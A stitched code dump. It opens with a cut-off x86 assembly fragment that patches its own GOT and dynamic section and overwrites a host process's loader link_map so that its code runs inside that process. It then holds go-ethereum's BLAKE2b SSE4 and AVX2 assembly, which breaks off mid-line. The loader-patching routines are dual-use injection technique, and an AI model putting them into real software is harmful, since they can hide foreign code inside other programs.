eax,[eax+0x6c] ret getargv: mov eax,DWORD [gs:0x80] add eax,0x70 ret get_dynamic: getgotzero: ;pointer to _dynamic mov eax, _DYNAMIC ret get_dynamic_pie: mov eax, _DYNAMIC add eax, ebx sub eax, _GLOBAL_OFFSET_TABLE_ ret get_link_map: getgotone: ;magic loader runtime struct ;;struct link_map ;;{ ;; ElfW(Addr) l_addr ;/* Base address shared object is loaded at. */ ;; char *l_name ;/* Absolute file name object was found in. */ ;; ElfW(Dyn) *l_ld ;/* Dynamic section of the shared object. */ ;; struct link_map *l_next, *l_prev ;/* Chain of loaded objects. */ ;;} mov eax,DWORD [gs:0x80] mov eax,[eax+0x68] ret patch_link_map: call get_link_map mov ecx,eax call get_dynamic_pie mov [ecx+8], eax ;link_map[0].l_ld = my_dynamic_section call get_base_pie mov [ecx], eax ;link_map[0].l_addr= my_base_load ;; link_map[0].l_addr is used as an offset into the GOT ;; 0xb7fec2df <_dl_fixup+271>: mov DWORD PTR [edx+ebp*1],eax ;; edx == orig_got ebp=l_ld eax=function_addr from lookup ret get_runtime_resolve: getgottwo: ;pointer to _dl_reuntime_resolve mov eax,DWORD [gs:0x80] mov eax,[eax+0x30] ;/lib/ld-linux.so.2 sub eax,16 ;brittle ret getentry: mov eax,DWORD [gs:0x80] mov eax,[eax+0x28] ret patchmygot: mov edi,_GLOBAL_OFFSET_TABLE_ call getgotzero mov [edi],eax ;got[0] add edi,4 call getgotone mov [edi],eax ;got[1] add edi,4 call getgottwo mov [edi],eax ;got[2] ret patchmygotpie: ;; when compiled with pie, after calling a get_pc.bx function ;; ebx will be a pointer to the global_offset_table mov edi,ebx call getgotzero sub eax,_GLOBAL_OFFSET_TABLE_ add eax,ebx mov [edi],eax ;got[0] add edi,4 call getgotone mov [edi],eax ;got[1] add edi,4 call getgottwo mov [edi],eax ;got[2] ret fixdynamicpie: push ebp push esi call getgotzero ;.dynamic sub eax,_GLOBAL_OFFSET_TABLE_ add eax,ebx mov esi, eax ;esi is what will walk the dynamic section mov ebp,ebx sub ebp,_GLOBAL_OFFSET_TABLE_ ;ebp is our base load addr cld .test: lodsd test eax,eax jz fixdynamicpie.fin mov ecx,eax lodsd cmp ecx,0x1f ja fixdynamicpie.test ;if value of d_un>31 look at the next one ;; what follows is one of my favorite compiler tricks mov edx,1 shl edx,cl and edx,DYNAMICPTRS ;;https://isisblogs.poly.edu/2013/05/06/oh-compiler-you-so-crazy/ jz .test add eax, ebp ;; eax holds the corrected ptr value mov [esi-4], eax jmp .test .fin: pop esi pop ebp ret findelfheader: call getCode .test: mov ecx,[eax] cmp ecx,ELFHEADER jz findelfheader.fin dec eax jmp findelfheader.test .fin: ret findgotpie: call findelfheader add eax, _GLOBAL_OFFSET_TABLE_ ret findgot: mov eax, _GLOBAL_OFFSET_TABLE_ ret ;; http://linuxgazette.net/85/sandeep.html ;; /usr/include/link.h ;; loader should be the last element of this list %define link_map_flink 4*3 find_loader_by_place: call get_link_map .begin: cmp [eax+link_map_flink],dword 0 jz find_loader_by_place.done mov eax, [eax + link_map_flink] jmp find_loader_by_place.begin .done: mov eax, [eax] ;link_map.l_addr ret %define SHT_SYMTAB 2 %define SHT_SIZE 40 find_symtab: mov eax,[esp+4] ;base load of module mov edx,[eax+32] ;e_shoff add edx,eax ;addr shection headers movzx ecx,word [eax+48] ;number of section headers .begin: cmp [edx+4], dword SHT_SYMTAB ; are we there yet? jz find_symtab.done add edx, SHT_SIZE loop find_symtab.begin ;; error out xor eax,eax ret .done: mov eax,[edx+12] ;Elf32_Addr sh_addr ;; add eax,edx ret start_main_wrapper: call get_stack mov ecx,[esp+4] push eax push 0 push 0 push 0 push 0 push 0 push ecx call get_libc_start_main call eax ;; no return from libc_start_main start_main_wrapper_alt: ;; call libc_start_main ;; with most of the original arguments ;; this function doesn't return we can ignore calling conventions mov edi,[esp+4] ;void(*)(void) mov ecx,[gs:0x80] lea esp,[ecx+0x4c] mov [esp], edi ;rewrite the pointer to main mov eax,[esp-4] ;return addr sub eax,5 ;adjust for the width of the call instruction jmp eax ;; no return from libc_start_main do_patch_pie: call patchmygotpie call fixdynamicpie ;; call patch_host_dynamic_reloc call patch_link_map ; does this even do anything? call patch_l_info ret %define RELOC 0x17 ;; this function is bad. ;; the reloc section of the host is not writable patch_host_dynamic_reloc: call get_link_map ; get host got mov eax,[eax+8] ; eax has the got .cnt: cmp [eax],dword RELOC ;is this the item to patch? jz patch_host_dynamic_reloc.patch ;if yes, patch cmp [eax],dword 0 ;hit the end of the dynamic section? jnz patch_host_dynamic_reloc.not_done xor eax,eax ;we hit the end without finding our item ret ;error out .not_done: add eax,8 ;continue to next elem in _dynamic jmp patch_host_dynamic_reloc.cnt ; we have found the item to patch. Time to patch it. .patch: mov ecx,eax call get_dynamic_pie mov [ecx+4], eax ;patch it! ret ;; the structure we're looking to patch ;; is located directly behind the first element ;; of the link_map linked list ;; the index of pointers in this list coresponds ;; to the magic value inside the .dynamic section patch_l_info: call get_link_map add eax,0x20 mov edx,eax call get_dynamic_pie .begin: mov ecx,[eax] ;grab element from dynamic test ecx, ecx jz patch_l_info.done ;; cmp ecx,32 ;; jb patch_l_info.patch ;; cmp ecx,RELOC ;; jz patch_l_info.patch add eax,8 ;walk dynamic jmp patch_l_info.begin .patch: shl ecx,2 mov [edx+ecx], eax ;index l_info with ecx add eax,8 jmp patch_l_info.begin .done: ret
orchain/go-ethereum
7,684
crypto/blake2b/blake2b_amd64.s
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build amd64,!gccgo,!appengine #include "textflag.h" DATA ·iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·iv0<>(SB), (NOPTR+RODATA), $16 DATA ·iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·iv1<>(SB), (NOPTR+RODATA), $16 DATA ·iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·iv2<>(SB), (NOPTR+RODATA), $16 DATA ·iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·iv3<>(SB), (NOPTR+RODATA), $16 DATA ·c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·c40<>(SB), (NOPTR+RODATA), $16 DATA ·c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·c48<>(SB), (NOPTR+RODATA), $16 #define SHUFFLE(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v6, t1; \ PUNPCKLQDQ v6, t2; \ PUNPCKHQDQ v7, v6; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ v7, t2; \ MOVO t1, v7; \ MOVO v2, t1; \ PUNPCKHQDQ t2, v7; \ PUNPCKLQDQ v3, t2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v3 #define SHUFFLE_INV(v2, v3, v4, v5, v6, v7, t1, t2) \ MOVO v4, t1; \ MOVO v5, v4; \ MOVO t1, v5; \ MOVO v2, t1; \ PUNPCKLQDQ v2, t2; \ PUNPCKHQDQ v3, v2; \ PUNPCKHQDQ t2, v2; \ PUNPCKLQDQ v3, t2; \ MOVO t1, v3; \ MOVO v6, t1; \ PUNPCKHQDQ t2, v3; \ PUNPCKLQDQ v7, t2; \ PUNPCKHQDQ t2, v6; \ PUNPCKLQDQ t1, t2; \ PUNPCKHQDQ t2, v7 #define HALF_ROUND(v0, v1, v2, v3, v4, v5, v6, v7, m0, m1, m2, m3, t0, c40, c48) \ PADDQ m0, v0; \ PADDQ m1, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFD $0xB1, v6, v6; \ PSHUFD $0xB1, v7, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ PSHUFB c40, v2; \ PSHUFB c40, v3; \ PADDQ m2, v0; \ PADDQ m3, v1; \ PADDQ v2, v0; \ PADDQ v3, v1; \ PXOR v0, v6; \ PXOR v1, v7; \ PSHUFB c48, v6; \ PSHUFB c48, v7; \ PADDQ v6, v4; \ PADDQ v7, v5; \ PXOR v4, v2; \ PXOR v5, v3; \ MOVOU v2, t0; \ PADDQ v2, t0; \ PSRLQ $63, v2; \ PXOR t0, v2; \ MOVOU v3, t0; \ PADDQ v3, t0; \ PSRLQ $63, v3; \ PXOR t0, v3 #define LOAD_MSG(m0, m1, m2, m3, i0, i1, i2, i3, i4, i5, i6, i7) \ MOVQ i0*8(SI), m0; \ PINSRQ $1, i1*8(SI), m0; \ MOVQ i2*8(SI), m1; \ PINSRQ $1, i3*8(SI), m1; \ MOVQ i4*8(SI), m2; \ PINSRQ $1, i5*8(SI), m2; \ MOVQ i6*8(SI), m3; \ PINSRQ $1, i7*8(SI), m3 // func fSSE4(h *[8]uint64, m *[16]uint64, c0, c1 uint64, flag uint64, rounds uint64) TEXT ·fSSE4(SB), 4, $24-48 // frame size = 8 + 16 byte alignment MOVQ h+0(FP), AX MOVQ m+8(FP), SI MOVQ c0+16(FP), R8 MOVQ c1+24(FP), R9 MOVQ flag+32(FP), CX MOVQ rounds+40(FP), BX MOVQ SP, BP MOVQ SP, R10 ADDQ $15, R10 ANDQ $~15, R10 MOVQ R10, SP MOVOU ·iv3<>(SB), X0 MOVO X0, 0(SP) XORQ CX, 0(SP) // 0(SP) = ·iv3 ^ (CX || 0) MOVOU ·c40<>(SB), X13 MOVOU ·c48<>(SB), X14 MOVOU 0(AX), X12 MOVOU 16(AX), X15 MOVQ R8, X8 PINSRQ $1, R9, X8 MOVO X12, X0 MOVO X15, X1 MOVOU 32(AX), X2 MOVOU 48(AX), X3 MOVOU ·iv0<>(SB), X4 MOVOU ·iv1<>(SB), X5 MOVOU ·iv2<>(SB), X6 PXOR X8, X6 MOVO 0(SP), X7 loop: SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 0, 2, 4, 6, 1, 3, 5, 7) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 8, 10, 12, 14, 9, 11, 13, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 14, 4, 9, 13, 10, 8, 15, 6) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 1, 0, 11, 5, 12, 2, 7, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 11, 12, 5, 15, 8, 0, 2, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 10, 3, 7, 9, 14, 6, 1, 4) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 7, 3, 13, 11, 9, 1, 12, 14) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 2, 5, 4, 15, 6, 10, 0, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 9, 5, 2, 10, 0, 7, 4, 15) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 14, 11, 6, 3, 1, 12, 8, 13) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 2, 6, 0, 8, 12, 10, 11, 3) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 4, 7, 15, 1, 13, 5, 14, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 12, 1, 14, 4, 5, 15, 13, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 0, 6, 9, 8, 7, 3, 2, 11) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 13, 7, 12, 3, 11, 14, 1, 9) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 5, 15, 8, 2, 0, 4, 6, 10) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 6, 14, 11, 0, 15, 9, 3, 8) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 12, 13, 1, 10, 2, 7, 4, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) SUBQ $1, BX; JCS done LOAD_MSG(X8, X9, X10, X11, 10, 8, 7, 1, 2, 4, 6, 5) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE(X2, X3, X4, X5, X6, X7, X8, X9) LOAD_MSG(X8, X9, X10, X11, 15, 9, 3, 13, 11, 14, 12, 0) HALF_ROUND(X0, X1, X2, X3, X4, X5, X6, X7, X8, X9, X10, X11, X11, X13, X14) SHUFFLE_INV(X2, X3, X4, X5, X6, X7, X8, X9) JMP loop done: MOVOU 32(AX), X10 MOVOU 48(AX), X11 PXOR X0, X12 PXOR X1, X15 PXOR X2, X10 PXOR X3, X11 PXOR X4, X12 PXOR X5, X15 PXOR X6, X10 PXOR X7, X11 MOVOU X10, 32(AX) MOVOU X11, 48(AX) MOVOU X12, 0(AX) MOVOU X15, 16(AX) MOVQ BP, SP RET
orchain/go-ethereum
23,301
crypto/blake2b/blake2bAVX2_amd64.s
// Copyright 2016 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.7,amd64,!gccgo,!appengine #include "textflag.h" DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403 DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32 DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302 DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32 DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908 DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1 GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1 DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179 GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403 DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16 DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302 DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16 #define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39 #define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93 #define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e #define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93 #define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39 #define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \ VPADDQ m0, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m1, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y1_Y1; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y3_Y3; \ VPADDQ m2, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFD $-79, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPSHUFB c40, Y1, Y1; \ VPADDQ m3, Y0, Y0; \ VPADDQ Y1, Y0, Y0; \ VPXOR Y0, Y3, Y3; \ VPSHUFB c48, Y3, Y3; \ VPADDQ Y3, Y2, Y2; \ VPXOR Y2, Y1, Y1; \ VPADDQ Y1, Y1, t; \ VPSRLQ $63, Y1, Y1; \ VPXOR t, Y1, Y1; \ VPERMQ_0x39_Y3_Y3; \ VPERMQ_0x4E_Y2_Y2; \ VPERMQ_0x93_Y1_Y1 #define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E #define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26 #define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E #define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36 #define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E #define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n #define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n #define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n #define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n #define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n #define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01 #define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01 #define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01 #define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01 #define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01 #define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01 #define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01 #define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8 #define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01 // load msg: Y12 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \ VMOVQ_SI_X12(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X12(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y12, Y12 // load msg: Y13 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \ VMOVQ_SI_X13(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X13(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y13, Y13 // load msg: Y14 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \ VMOVQ_SI_X14(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X14(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y14, Y14 // load msg: Y15 = (i0, i1, i2, i3) // i0, i1, i2, i3 must not be 0 #define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \ VMOVQ_SI_X15(i0*8); \ VMOVQ_SI_X11(i2*8); \ VPINSRQ_1_SI_X15(i1*8); \ VPINSRQ_1_SI_X11(i3*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \ VMOVQ_SI_X12_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X12(2*8); \ VPINSRQ_1_SI_X11(6*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \ LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \ LOAD_MSG_AVX2_Y15(9, 11, 13, 15) #define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \ LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \ LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \ VMOVQ_SI_X11(11*8); \ VPSHUFD $0x4E, 0*8(SI), X14; \ VPINSRQ_1_SI_X11(5*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(12, 2, 7, 3) #define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \ VMOVQ_SI_X11(5*8); \ VMOVDQU 11*8(SI), X12; \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y12, Y12; \ VMOVQ_SI_X13(8*8); \ VMOVQ_SI_X11(2*8); \ VPINSRQ_1_SI_X13_0; \ VPINSRQ_1_SI_X11(13*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \ LOAD_MSG_AVX2_Y15(14, 6, 1, 4) #define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \ LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \ LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \ LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \ VMOVQ_SI_X15(6*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X15(10*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y15, Y15 #define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \ LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \ VMOVQ_SI_X13_0; \ VMOVQ_SI_X11(4*8); \ VPINSRQ_1_SI_X13(7*8); \ VPINSRQ_1_SI_X11(15*8); \ VINSERTI128 $1, X11, Y13, Y13; \ LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \ LOAD_MSG_AVX2_Y15(1, 12, 8, 13) #define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \ VMOVQ_SI_X12(2*8); \ VMOVQ_SI_X11_0; \ VPINSRQ_1_SI_X12(6*8); \ VPINSRQ_1_SI_X11(8*8); \ VINSERTI128 $1, X11, Y12, Y12; \ LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \ LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \ LOAD_MSG_AVX2_Y15(13, 5, 14, 9) #define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \ LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \ LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \ VMOVQ_SI_X14_0; \ VPSHUFD $0x4E, 8*8(SI), X11; \ VPINSRQ_1_SI_X14(6*8); \ VINSERTI128 $1, X11, Y14, Y14; \ LOAD_MSG_AVX2_Y15(7, 3, 2, 11) #define 